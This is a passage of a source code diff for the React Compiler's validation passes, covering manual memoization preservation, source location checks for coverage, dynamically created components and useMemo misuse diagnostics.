+      category: ErrorCategory.PreserveManualMemo,
+      reason: 'Existing memoization could not be preserved',
+      description: [
+        'React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. ',
+        'The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. ',
+        DEBUG ||
+        // If the dependency is a named variable then we can report it. Otherwise only print in debug mode
+        (dep.identifier.name != null && dep.identifier.name.kind === 'named')
+          ? `The inferred dependency was \`${prettyPrintScopeDependency(
+              dep,
+            )}\`, but the source dependencies were [${validDepsInMemoBlock
+              .map(dep => printManualMemoDependency(dep, true))
+              .join(', ')}]. ${
+              errorDiagnostic
+                ? getCompareDependencyResultDescription(errorDiagnostic)
+                : 'Inferred dependency not present in source'
+            }`
+          : '',
+      ]
+        .join('')
+        .trim(),
+      suggestions: null,
+    }).withDetails({
+      kind: 'error',
+      loc: memoLocation,
+      message: 'Could not preserve existing manual memoization',
+    }),
+  );
 }
 
 class Visitor extends ReactiveFunctionVisitor<VisitorState> {
+  /**
+   * Records all completed scopes (regardless of transitive memoization
+   * of scope dependencies)
+   *
+   * Both @scopes and @prunedScopes are live sets. We rely on iterating
+   * the reactive-ir in evaluation order, as they are used to determine
+   * whether scope dependencies / declarations have completed mutation.
+   */
   scopes: Set<ScopeId> = new Set();
-  scopeMapping = new Map();
+  prunedScopes: Set<ScopeId> = new Set();
   temporaries: Map<IdentifierId, ManualMemoDependency> = new Map();
 
-  collectMaybeMemoDependencies(
-    value: ReactiveValue,
-    state: VisitorState
-  ): ManualMemoDependency | null {
+  /**
+   * Recursively visit values and instructions to collect declarations
+   * and property loads.
+   * @returns a @{ManualMemoDependency} representing the variable +
+   * property reads represented by @value
+   */
+  recordDepsInValue(value: ReactiveValue, state: VisitorState): void {
     switch (value.kind) {
-      case "SequenceExpression": {
+      case 'SequenceExpression': {
         for (const instr of value.instructions) {
           this.visitInstruction(instr, state);
         }
-        const result = this.collectMaybeMemoDependencies(value.value, state);
-
-        return result;
+        this.recordDepsInValue(value.value, state);
+        break;
       }
-      case "OptionalExpression": {
-        return this.collectMaybeMemoDependencies(value.value, state);
+      case 'OptionalExpression': {
+        this.recordDepsInValue(value.value, state);
+        break;
       }
-      case "ReactiveFunctionValue":
-      case "ConditionalExpression":
-      case "LogicalExpression": {
-        return null;
+      case 'ConditionalExpression': {
+        this.recordDepsInValue(value.test, state);
+        this.recordDepsInValue(value.consequent, state);
+        this.recordDepsInValue(value.alternate, state);
+        break;
+      }
+      case 'LogicalExpression': {
+        this.recordDepsInValue(value.left, state);
+        this.recordDepsInValue(value.right, state);
+        break;
       }
       default: {
-        const dep = collectMaybeMemoDependencies(value, this.temporaries);
-        if (value.kind === "StoreLocal" || value.kind === "StoreContext") {
-          const storeTarget = value.lvalue.place;
-          state.manualMemoState?.decls.add(storeTarget.identifier.id);
-          if (storeTarget.identifier.name?.kind === "named" && dep == null) {
-            const dep: ManualMemoDependency = {
-              root: {
-                kind: "NamedLocal",
-                value: storeTarget,
-              },
-              path: [],
-            };
-            this.temporaries.set(storeTarget.identifier.id, dep);
-            return dep;
+        collectMaybeMemoDependencies(value, this.temporaries, false);
+        if (
+          value.kind === 'StoreLocal' ||
+          value.kind === 'StoreContext' ||
+          value.kind === 'Destructure'
+        ) {
+          for (const storeTarget of eachInstructionValueLValue(value)) {
+            state.manualMemoState?.decls.add(
+              storeTarget.identifier.declarationId,
+            );
+            if (storeTarget.identifier.name?.kind === 'named') {
+              this.temporaries.set(storeTarget.identifier.id, {
+                root: {
+                  kind: 'NamedLocal',
+                  value: storeTarget,
+                  constant: false,
+                },
+                path: [],
+                loc: storeTarget.loc,
+              });
+            }
           }
         }
-        return dep;
+        break;
       }
     }
   }
 
   recordTemporaries(instr: ReactiveInstruction, state: VisitorState): void {
     const temporaries = this.temporaries;
-    const { value } = instr;
-    const lvalId = instr.lvalue?.identifier.id;
+    const {lvalue, value} = instr;
+    const lvalId = lvalue?.identifier.id;
     if (lvalId != null && temporaries.has(lvalId)) {
       return;
     }
-    const isNamedLocal =
-      lvalId != null && instr.lvalue?.identifier.name?.kind === "named";
-    if (isNamedLocal && state.manualMemoState != null) {
-      state.manualMemoState.decls.add(lvalId);
+    const isNamedLocal = lvalue?.identifier.name?.kind === 'named';
+    if (lvalue !== null && isNamedLocal && state.manualMemoState != null) {
+      state.manualMemoState.decls.add(lvalue.identifier.declarationId);
     }
 
-    const maybeDep = this.collectMaybeMemoDependencies(value, state);
-    if (lvalId != null) {
-      if (maybeDep != null) {
-        temporaries.set(lvalId, maybeDep);
-      } else if (isNamedLocal) {
-        temporaries.set(lvalId, {
-          root: {
-            kind: "NamedLocal",
-            value: { ...(instr.lvalue as Place) },
-          },
-          path: [],
-        });
-      }
+    this.recordDepsInValue(value, state);
+    if (lvalue != null) {
+      temporaries.set(lvalue.identifier.id, {
+        root: {
+          kind: 'NamedLocal',
+          value: {...lvalue},
+          constant: false,
+        },
+        path: [],
+        loc: lvalue.loc,
+      });
     }
   }
 
   override visitScope(
     scopeBlock: ReactiveScopeBlock,
-    state: VisitorState
+    state: VisitorState,
   ): void {
     this.traverseScope(scopeBlock, state);
 
@@ -368,92 +426,187 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
           this.temporaries,
           state.manualMemoState.decls,
           state.manualMemoState.depsFromSource,
-          state.errors,
-          state.manualMemoState.loc
+          state.env,
+          state.manualMemoState.loc,
         );
       }
     }
 
-    /*
-     * Record scopes that exist in the AST so we can later check to see if
-     * effect dependencies which should be memoized (have a scope assigned)
-     * actually are memoized (that scope exists).
-     * However, we only record scopes if *their* dependencies are also
-     * memoized, allowing a transitive memoization check.
-     */
-    let areDependenciesMemoized = true;
-    for (const dep of scopeBlock.scope.dependencies) {
-      if (isUnmemoized(dep.identifier, this.scopes)) {
-        areDependenciesMemoized = false;
-        break;
-      }
-    }
-    if (areDependenciesMemoized) {
-      this.scopes.add(scopeBlock.scope.id);
-      for (const id of scopeBlock.scope.merged) {
-        this.scopes.add(id);
-      }
+    this.scopes.add(scopeBlock.scope.id);
+    for (const id of scopeBlock.scope.merged) {
+      this.scopes.add(id);
     }
   }
 
+  override visitPrunedScope(
+    scopeBlock: PrunedReactiveScopeBlock,
+    state: VisitorState,
+  ): void {
+    this.traversePrunedScope(scopeBlock, state);
+    this.prunedScopes.add(scopeBlock.scope.id);
+  }
+
   override visitInstruction(
     instruction: ReactiveInstruction,
-    state: VisitorState
+    state: VisitorState,
   ): void {
-    this.traverseInstruction(instruction, state);
+    /**
+     * We don't invoke traverseInstructions because `recordDepsInValue`
+     * recursively visits ReactiveValues and instructions
+     */
     this.recordTemporaries(instruction, state);
-    if (instruction.value.kind === "StartMemoize") {
-      let depsFromSource: Array<ManualMemoDependency> | null = null;
-      if (instruction.value.deps != null) {
-        depsFromSource = instruction.value.deps;
-      }
+    const value = instruction.value;
+    // Track reassignments from inlining of manual memo
+    if (
+      value.kind === 'StoreLocal' &&
+      value.lvalue.kind === 'Reassign' &&
+      state.manualMemoState != null
+    ) {
+      // Complex cases of inlining end up with a temporary that is reassigned
+      const ids = getOrInsertDefault(
+        state.manualMemoState.reassignments,
+        value.lvalue.place.identifier.declarationId,
+        new Set(),
+      );
+      ids.add(value.value.identifier);
+    }
+    if (
+      value.kind === 'LoadLocal' &&
+      value.place.identifier.scope != null &&
+      instruction.lvalue != null &&
+      instruction.lvalue.identifier.scope == null &&
+      state.manualMemoState != null
+    ) {
+      // Simpler cases of inlining assign to the original IIFE lvalue
+      const ids = getOrInsertDefault(
+        state.manualMemoState.reassignments,
+        instruction.lvalue.identifier.declarationId,
+        new Set(),
+      );
+      ids.add(value.place.identifier);
+    }
+    if (value.kind === 'StartMemoize') {
       CompilerError.invariant(state.manualMemoState == null, {
-        reason: "Unexpected nested StartMemoize instructions",
-        description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${instruction.value.manualMemoId}`,
-        loc: instruction.value.loc,
-        suggestions: null,
+        reason: 'Unexpected nested StartMemoize instructions',
+        description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,
+        loc: value.loc,
       });
 
+      if (value.hasInvalidDeps === true) {
+        /*
+         * ValidateExhaustiveDependencies already reported an error for this
+         * memo block, skip validation to avoid duplicate errors
+         */
+        return;
+      }
+
+      let depsFromSource: Array<ManualMemoDependency> | null = null;
+      if (value.deps != null) {
+        depsFromSource = value.deps;
+      }
+
       state.manualMemoState = {
         loc: instruction.loc,
         decls: new Set(),
         depsFromSource,
-        manualMemoId: instruction.value.manualMemoId,
+        manualMemoId: value.manualMemoId,
+        reassignments: new Map(),
       };
+
+      /**
+       * We check that each scope dependency is either:
+       * (1) Not scoped
+       *     Checking `identifier.scope == null` is a proxy for whether the dep
+       *     is a primitive, global, or other guaranteed non-allocating value.
+       *     Non-allocating values do not need memoization.
+       *     Note that this is a conservative estimate as some primitive-typed
+       *     variables do receive scopes.
+       * (2) Scoped (a maybe newly-allocated value with a mutable range)
+       *     Here, we check that the dependency's scope has completed before
+       *     the manual useMemo as a proxy for mutable-range checking. This
+       *     validates that there are no potential rule-of-react violations
+       *     in source.
+       *     Note that scope range is an overly conservative proxy as we merge
+       *     overlapping ranges.
+       *     See fixture `error.false-positive-useMemo-overlap-scopes`
+       */
+      for (const {identifier, loc} of eachInstructionValueOperand(
+        value as InstructionValue,
+      )) {
+        if (
+          identifier.scope != null &&
+          !this.scopes.has(identifier.scope.id) &&
+          !this.prunedScopes.has(identifier.scope.id)
+        ) {
+          state.env.recordError(
+            CompilerDiagnostic.create({
+              category: ErrorCategory.PreserveManualMemo,
+              reason: 'Existing memoization could not be preserved',
+              description: [
+                'React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. ',
+                'This dependency may be mutated later, which could cause the value to change unexpectedly',
+              ].join(''),
+            }).withDetails({
+              kind: 'error',
+              loc,
+              message: 'This dependency may be modified later',
+            }),
+          );
+        }
+      }
     }
-    if (instruction.value.kind === "FinishMemoize") {
+    if (value.kind === 'FinishMemoize') {
+      if (state.manualMemoState == null) {
+        // StartMemoize had invalid deps, skip validation
+        return;
+      }
       CompilerError.invariant(
-        state.manualMemoState != null &&
-          state.manualMemoState.manualMemoId === instruction.value.manualMemoId,
+        state.manualMemoState.manualMemoId === value.manualMemoId,
         {
-          reason: "Unexpected mismatch between StartMemoize and FinishMemoize",
-          description: `Encountered StartMemoize id=${state.manualMemoState?.manualMemoId} followed by FinishMemoize id=${instruction.value.manualMemoId}`,
-          loc: instruction.value.loc,
-          suggestions: null,
-        }
+          reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',
+          description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
+          loc: value.loc,
+        },
       );
+      const reassignments = state.manualMemoState.reassignments;
       state.manualMemoState = null;
-    }
+      if (!value.pruned) {
+        for (const {identifier, loc} of eachInstructionValueOperand(
+          value as InstructionValue,
+        )) {
+          let decls;
+          if (identifier.scope == null) {
+            /**
+             * If the manual memo was a useMemo that got inlined, iterate through
+             * all reassignments to the iife temporary to ensure they're memoized.
+             */
+            decls = reassignments.get(identifier.declarationId) ?? [identifier];
+          } else {
+            decls = [identifier];
+          }
 
-    const isDep = instruction.value.kind === "StartMemoize";
-    const isDecl =
-      instruction.value.kind === "FinishMemoize" && !instruction.value.pruned;
-    if (isDep || isDecl) {
-      for (const value of eachInstructionValueOperand(
-        instruction.value as InstructionValue
-      )) {
-        if (
-          isMutable(instruction as Instruction, value) ||
-          (isDecl && isUnmemoized(value.identifier, this.scopes))
-        ) {
-          state.errors.push({
-            reason:
-              "React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly",
-            description: null,
-            severity: ErrorSeverity.CannotPreserveMemoization,
-            loc: typeof instruction.loc !== "symbol" ? instruction.loc : null,
-            suggestions: null,
-          });
+          for (const identifier of decls) {
+            if (isUnmemoized(identifier, this.scopes)) {
+              state.env.recordError(
+                CompilerDiagnostic.create({
+                  category: ErrorCategory.PreserveManualMemo,
+                  reason: 'Existing memoization could not be preserved',
+                  description: [
+                    'React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output',
+                    DEBUG
+                      ? `${printIdentifier(identifier)} was not memoized.`
+                      : '',
+                  ]
+                    .join('')
+                    .trim(),
+                }).withDetails({
+                  kind: 'error',
+                  loc,
+                  message: 'Could not preserve existing memoization',
+                }),
+              );
+            }
+          }
         }
       }
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateSourceLocations.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateSourceLocations.ts
new file mode 100644
index 000000000000..50f4c0e16038
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateSourceLocations.ts
@@ -0,0 +1,310 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {NodePath} from '@babel/traverse';
+import * as t from '@babel/types';
+import {CompilerDiagnostic, ErrorCategory} from '..';
+import {CodegenFunction} from '../ReactiveScopes';
+import {Environment} from '../HIR/Environment';
+
+/**
+ * IMPORTANT: This validation is only intended for use in unit tests.
+ * It is not intended for use in production.
+ *
+ * This validation is used to ensure that the generated AST has proper source locations
+ * for "important" original nodes.
+ *
+ * There's one big gotcha with this validation: it only works if the "important" original nodes
+ * are not optimized away by the compiler.
+ *
+ * When that scenario happens, we should just update the fixture to not include a node that has no
+ * corresponding node in the generated AST due to being completely removed during compilation.
+ */
+
+/**
+ * Some common node types that are important for coverage tracking.
+ * Based on istanbul-lib-instrument + some other common nodes we expect to be present in the generated AST.
+ *
+ * Note: For VariableDeclaration, VariableDeclarator, and Identifier, we enforce stricter validation
+ * that requires both the source location AND node type to match in the generated AST. This ensures
+ * that variable declarations maintain their structural integrity through compilation.
+ */
+const IMPORTANT_INSTRUMENTED_TYPES = new Set([
+  'ArrowFunctionExpression',
+  'AssignmentPattern',
+  'ObjectMethod',
+  'ExpressionStatement',
+  'BreakStatement',
+  'ContinueStatement',
+  'ReturnStatement',
+  'ThrowStatement',
+  'TryStatement',
+  'VariableDeclarator',
+  'IfStatement',
+  'ForStatement',
+  'ForInStatement',
+  'ForOfStatement',
+  'WhileStatement',
+  'DoWhileStatement',
+  'SwitchStatement',
+  'SwitchCase',
+  'WithStatement',
+  'FunctionDeclaration',
+  'FunctionExpression',
+  'LabeledStatement',
+  'ConditionalExpression',
+  'LogicalExpression',
+
+  /**
+   * Note: these aren't important for coverage tracking,
+   * but we still want to track them to ensure we aren't regressing them when
+   * we fix the source location tracking for other nodes.
+   */
+  'VariableDeclaration',
+  'Identifier',
+]);
+
+/**
+ * Check if a node is a manual memoization call that the compiler optimizes away.
+ * These include useMemo and useCallback calls, which are intentionally removed
+ * by the DropManualMemoization pass.
+ */
+function isManualMemoization(node: t.Node): boolean {
+  // Check if this is a useMemo/useCallback call expression
+  if (t.isCallExpression(node)) {
+    const callee = node.callee;
+    if (t.isIdentifier(callee)) {
+      return callee.name === 'useMemo' || callee.name === 'useCallback';
+    }
+    if (
+      t.isMemberExpression(callee) &&
+      t.isIdentifier(callee.property) &&
+      t.isIdentifier(callee.object)
+    ) {
+      return (
+        callee.object.name === 'React' &&
+        (callee.property.name === 'useMemo' ||
+          callee.property.name === 'useCallback')
+      );
+    }
+  }
+
+  return false;
+}
+
+/**
+ * Create a location key for comparison. We compare by line/column/source,
+ * not by object identity.
+ */
+function locationKey(loc: t.SourceLocation): string {
+  return `${loc.start.line}:${loc.start.column}-${loc.end.line}:${loc.end.column}`;
+}
+
+/**
+ * Validates that important source locations from the original code are preserved
+ * in the generated AST. This ensures that Istanbul coverage instrumentation can
+ * properly map back to the original source code.
+ *
+ * The validator:
+ * 1. Collects locations from "important" nodes in the original AST (those that
+ *    Istanbul instruments for coverage tracking)
+ * 2. Exempts known compiler optimizations (useMemo/useCallback removal)
+ * 3. Verifies that all important locations appear somewhere in the generated AST
+ *
+ * Missing locations can cause Istanbul to fail to track coverage for certain
+ * code paths, leading to inaccurate coverage reports.
+ */
+export function validateSourceLocations(
+  func: NodePath<
+    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
+  >,
+  generatedAst: CodegenFunction,
+  env: Environment,
+): void {
+  /*
+   * Step 1: Collect important locations from the original source
+   * Note: Multiple node types can share the same location (e.g. VariableDeclarator and Identifier)
+   */
+  const importantOriginalLocations = new Map<
+    string,
+    {loc: t.SourceLocation; nodeTypes: Set<string>}
+  >();
+
+  func.traverse({
+    enter(path) {
+      const node = path.node;
+
+      // Only track node types that Istanbul instruments
+      if (!IMPORTANT_INSTRUMENTED_TYPES.has(node.type)) {
+        return;
+      }
+
+      // Skip manual memoization that the compiler intentionally removes
+      if (isManualMemoization(node)) {
+        return;
+      }
+
+      /*
+       * Skip return statements inside arrow functions that will be simplified to expression body.
+       * The compiler transforms `() => { return expr }` to `() => expr` in CodegenReactiveFunction
+       */
+      if (t.isReturnStatement(node) && node.argument != null) {
+        const parentBody = path.parentPath;
+        const parentFunc = parentBody?.parentPath;
+        if (
+          parentBody?.isBlockStatement() &&
+          parentFunc?.isArrowFunctionExpression() &&
+          parentBody.node.body.length === 1 &&
+          parentBody.node.directives.length === 0
+        ) {
+          return;
+        }
+      }
+
+      // Collect the location if it exists
+      if (node.loc) {
+        const key = locationKey(node.loc);
+        const existing = importantOriginalLocations.get(key);
+        if (existing) {
+          existing.nodeTypes.add(node.type);
+        } else {
+          importantOriginalLocations.set(key, {
+            loc: node.loc,
+            nodeTypes: new Set([node.type]),
+          });
+        }
+      }
+    },
+  });
+
+  // Step 2: Collect all locations from the generated AST with their node types
+  const generatedLocations = new Map<string, Set<string>>();
+
+  function collectGeneratedLocations(node: t.Node): void {
+    if (node.loc) {
+      const key = locationKey(node.loc);
+      const nodeTypes = generatedLocations.get(key);
+      if (nodeTypes) {
+        nodeTypes.add(node.type);
+      } else {
+        generatedLocations.set(key, new Set([node.type]));
+      }
+    }
+
+    // Use Babel's VISITOR_KEYS to traverse only actual node properties
+    const keys = t.VISITOR_KEYS[node.type as keyof typeof t.VISITOR_KEYS];
+
+    if (!keys) {
+      return;
+    }
+
+    for (const key of keys) {
+      const value = (node as any)[key];
+
+      if (Array.isArray(value)) {
+        for (const item of value) {
+          if (t.isNode(item)) {
+            collectGeneratedLocations(item);
+          }
+        }
+      } else if (t.isNode(value)) {
+        collectGeneratedLocations(value);
+      }
+    }
+  }
+
+  // Collect from main function body
+  collectGeneratedLocations(generatedAst.body);
+
+  // Collect from outlined functions
+  for (const outlined of generatedAst.outlined) {
+    collectGeneratedLocations(outlined.fn.body);
+  }
+
+  /*
+   * Step 3: Validate that all important locations are preserved
+   * For certain node types, also validate that the node type matches
+   */
+  const strictNodeTypes = new Set([
+    'VariableDeclaration',
+    'VariableDeclarator',
+    'Identifier',
+  ]);
+
+  const reportMissingLocation = (
+    loc: t.SourceLocation,
+    nodeType: string,
+  ): void => {
+    env.recordError(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Todo,
+        reason: 'Important source location missing in generated code',
+        description:
+          `Source location for ${nodeType} is missing in the generated output. This can cause coverage instrumentation ` +
+          `to fail to track this code properly, resulting in inaccurate coverage reports.`,
+      }).withDetails({
+        kind: 'error',
+        loc,
+        message: null,
+      }),
+    );
+  };
+
+  const reportWrongNodeType = (
+    loc: t.SourceLocation,
+    expectedType: string,
+    actualTypes: Set<string>,
+  ): void => {
+    env.recordError(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.Todo,
+        reason:
+          'Important source location has wrong node type in generated code',
+        description:
+          `Source location for ${expectedType} exists in the generated output but with wrong node type(s): ${Array.from(actualTypes).join(', ')}. ` +
+          `This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports.`,
+      }).withDetails({
+        kind: 'error',
+        loc,
+        message: null,
+      }),
+    );
+  };
+
+  for (const [key, {loc, nodeTypes}] of importantOriginalLocations) {
+    const generatedNodeTypes = generatedLocations.get(key);
+
+    if (!generatedNodeTypes) {
+      // Location is completely missing
+      reportMissingLocation(loc, Array.from(nodeTypes).join(', '));
+    } else {
+      // Location exists, check each node type
+      for (const nodeType of nodeTypes) {
+        if (
+          strictNodeTypes.has(nodeType) &&
+          !generatedNodeTypes.has(nodeType)
+        ) {
+          /*
+           * For strict node types, the specific node type must be present
+           * Check if any generated node type is also an important original node type
+           */
+          const hasValidNodeType = Array.from(generatedNodeTypes).some(
+            genType => nodeTypes.has(genType),
+          );
+
+          if (hasValidNodeType) {
+            // At least one generated node type is valid (also in original), so this is just missing
+            reportMissingLocation(loc, nodeType);
+          } else {
+            // None of the generated node types are in original - this is wrong node type
+            reportWrongNodeType(loc, nodeType, generatedNodeTypes);
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateStaticComponents.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateStaticComponents.ts
new file mode 100644
index 000000000000..484f825ac188
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateStaticComponents.ts
@@ -0,0 +1,90 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {HIRFunction, IdentifierId, SourceLocation} from '../HIR';
+import {Result} from '../Utils/Result';
+
+/**
+ * Validates against components that are created dynamically and whose identity is not guaranteed
+ * to be stable (which would cause the component to reset on each re-render).
+ */
+export function validateStaticComponents(
+  fn: HIRFunction,
+): Result<void, CompilerError> {
+  const error = new CompilerError();
+  const knownDynamicComponents = new Map<IdentifierId, SourceLocation>();
+  for (const block of fn.body.blocks.values()) {
+    phis: for (const phi of block.phis) {
+      for (const operand of phi.operands.values()) {
+        const loc = knownDynamicComponents.get(operand.identifier.id);
+        if (loc != null) {
+          knownDynamicComponents.set(phi.place.identifier.id, loc);
+          continue phis;
+        }
+      }
+    }
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'FunctionExpression':
+        case 'NewExpression':
+        case 'MethodCall':
+        case 'CallExpression': {
+          knownDynamicComponents.set(lvalue.identifier.id, value.loc);
+          break;
+        }
+        case 'LoadLocal': {
+          const loc = knownDynamicComponents.get(value.place.identifier.id);
+          if (loc != null) {
+            knownDynamicComponents.set(lvalue.identifier.id, loc);
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          const loc = knownDynamicComponents.get(value.value.identifier.id);
+          if (loc != null) {
+            knownDynamicComponents.set(lvalue.identifier.id, loc);
+            knownDynamicComponents.set(value.lvalue.place.identifier.id, loc);
+          }
+          break;
+        }
+        case 'JsxExpression': {
+          if (value.tag.kind === 'Identifier') {
+            const location = knownDynamicComponents.get(
+              value.tag.identifier.id,
+            );
+            if (location != null) {
+              error.pushDiagnostic(
+                CompilerDiagnostic.create({
+                  category: ErrorCategory.StaticComponents,
+                  reason: 'Cannot create components during render',
+                  description: `Components created during render will reset their state each time they are created. Declare components outside of render`,
+                })
+                  .withDetails({
+                    kind: 'error',
+                    loc: value.tag.loc,
+                    message: 'This component is created during render',
+                  })
+                  .withDetails({
+                    kind: 'error',
+                    loc: location,
+                    message: 'The component is created during render here',
+                  }),
+              );
+            }
+          }
+        }
+      }
+    }
+  }
+  return error.asResult();
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateUseMemo.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateUseMemo.ts
index 00fc9ad8482e..87c6ebd1a2a4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateUseMemo.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateUseMemo.ts
@@ -5,44 +5,68 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
-import { FunctionExpression, HIRFunction, IdentifierId } from "../HIR";
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {
+  FunctionExpression,
+  HIRFunction,
+  IdentifierId,
+  SourceLocation,
+} from '../HIR';
+import {Environment} from '../HIR/Environment';
+import {
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
 
 export function validateUseMemo(fn: HIRFunction): void {
+  const voidMemoErrors = new CompilerError();
   const useMemos = new Set<IdentifierId>();
   const react = new Set<IdentifierId>();
   const functions = new Map<IdentifierId, FunctionExpression>();
+  const unusedUseMemos = new Map<IdentifierId, SourceLocation>();
   for (const [, block] of fn.body.blocks) {
-    for (const { lvalue, value } of block.instructions) {
+    for (const {lvalue, value} of block.instructions) {
+      if (unusedUseMemos.size !== 0) {
+        /**
+         * Most of the time useMemo results are referenced immediately. Don't bother
+         * scanning instruction operands for useMemos unless there is an as-yet-unused
+         * useMemo.
+         */
+        for (const operand of eachInstructionValueOperand(value)) {
+          unusedUseMemos.delete(operand.identifier.id);
+        }
+      }
       switch (value.kind) {
-        case "LoadGlobal": {
-          if (value.binding.name === "useMemo") {
+        case 'LoadGlobal': {
+          if (value.binding.name === 'useMemo') {
             useMemos.add(lvalue.identifier.id);
-          } else if (value.binding.name === "React") {
+          } else if (value.binding.name === 'React') {
             react.add(lvalue.identifier.id);
           }
           break;
         }
-        case "PropertyLoad": {
+        case 'PropertyLoad': {
           if (react.has(value.object.identifier.id)) {
-            if (value.property === "useMemo") {
+            if (value.property === 'useMemo') {
               useMemos.add(lvalue.identifier.id);
             }
           }
           break;
         }
-        case "FunctionExpression": {
+        case 'FunctionExpression': {
           functions.set(lvalue.identifier.id, value);
           break;
         }
-        case "MethodCall":
-        case "CallExpression": {
+        case 'MethodCall':
+        case 'CallExpression': {
           // Is the function being called useMemo, with at least 1 argument?
           const callee =
-            value.kind === "CallExpression"
-              ? value.callee.identifier.id
-              : value.property.identifier.id;
-          const isUseMemo = useMemos.has(callee);
+            value.kind === 'CallExpression' ? value.callee : value.property;
+          const isUseMemo = useMemos.has(callee.identifier.id);
           if (!isUseMemo || value.args.length === 0) {
             continue;
           }
@@ -52,7 +76,7 @@ export function validateUseMemo(fn: HIRFunction): void {
            * expression, validate the function
            */
           const [arg] = value.args;
-          if (arg.kind !== "Identifier") {
+          if (arg.kind !== 'Identifier') {
             continue;
           }
           const body = functions.get(arg.identifier.id);
@@ -61,27 +85,142 @@ export function validateUseMemo(fn: HIRFunction): void {
           }
 
           if (body.loweredFunc.func.params.length > 0) {
-            CompilerError.throwInvalidReact({
-              reason: "useMemo callbacks may not accept any arguments",
-              description: null,
-              loc: body.loc,
-              suggestions: null,
-            });
+            const firstParam = body.loweredFunc.func.params[0];
+            const loc =
+              firstParam.kind === 'Identifier'
+                ? firstParam.loc
+                : firstParam.place.loc;
+            fn.env.recordError(
+              CompilerDiagnostic.create({
+                category: ErrorCategory.UseMemo,
+                reason: 'useMemo() callbacks may not accept parameters',
+                description:
+                  'useMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation',
+                suggestions: null,
+              }).withDetails({
+                kind: 'error',
+                loc,
+                message: 'Callbacks with parameters are not supported',
+              }),
+            );
           }
 
           if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {
-            CompilerError.throwInvalidReact({
-              reason:
-                "useMemo callbacks may not be async or generator functions",
-              description: null,
-              loc: body.loc,
-              suggestions: null,
-            });
+            fn.env.recordError(
+              CompilerDiagnostic.create({
+                category: ErrorCategory.UseMemo,
+                reason:
+                  'useMemo() callbacks may not be async or generator functions',
+                description:
+                  'useMemo() callbacks are called once and must synchronously return a value',
+                suggestions: null,
+              }).withDetails({
+                kind: 'error',
+                loc: body.loc,
+                message: 'Async and generator functions are not supported',
+              }),
+            );
           }
 
+          validateNoContextVariableAssignment(body.loweredFunc.func, fn.env);
+
+          if (fn.env.config.validateNoVoidUseMemo) {
+            if (!hasNonVoidReturn(body.loweredFunc.func)) {
+              voidMemoErrors.pushDiagnostic(
+                CompilerDiagnostic.create({
+                  category: ErrorCategory.VoidUseMemo,
+                  reason: 'useMemo() callbacks must return a value',
+                  description: `This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects`,
+                  suggestions: null,
+                }).withDetails({
+                  kind: 'error',
+                  loc: body.loc,
+                  message: 'useMemo() callbacks must return a value',
+                }),
+              );
+            } else {
+              unusedUseMemos.set(lvalue.identifier.id, callee.loc);
+            }
+          }
           break;
         }
       }
     }
+    if (unusedUseMemos.size !== 0) {
+      for (const operand of eachTerminalOperand(block.terminal)) {
+        unusedUseMemos.delete(operand.identifier.id);
+      }
+    }
+  }
+  if (unusedUseMemos.size !== 0) {
+    /**
+     * Basic check for unused memos, where the result of the call is never referenced. This runs
+     * before DCE so it's more of an AST-level check that something, _anything_, cares about the value.
+     *
+     * This is easy to defeat with e.g. `const _ = useMemo(...)` but it at least gives us something to teach.
+     * Even a DCE-based version could be bypassed with `noop(useMemo(...))`.
+     */
+    for (const loc of unusedUseMemos.values()) {
+      voidMemoErrors.pushDiagnostic(
+        CompilerDiagnostic.create({
+          category: ErrorCategory.VoidUseMemo,
+          reason: 'useMemo() result is unused',
+          description: `This useMemo() value is unused. useMemo() is for computing and caching values, not for arbitrary side effects`,
+          suggestions: null,
+        }).withDetails({
+          kind: 'error',
+          loc,
+          message: 'useMemo() result is unused',
+        }),
+      );
+    }
+  }
+  fn.env.logErrors(voidMemoErrors.asResult());
+}
+
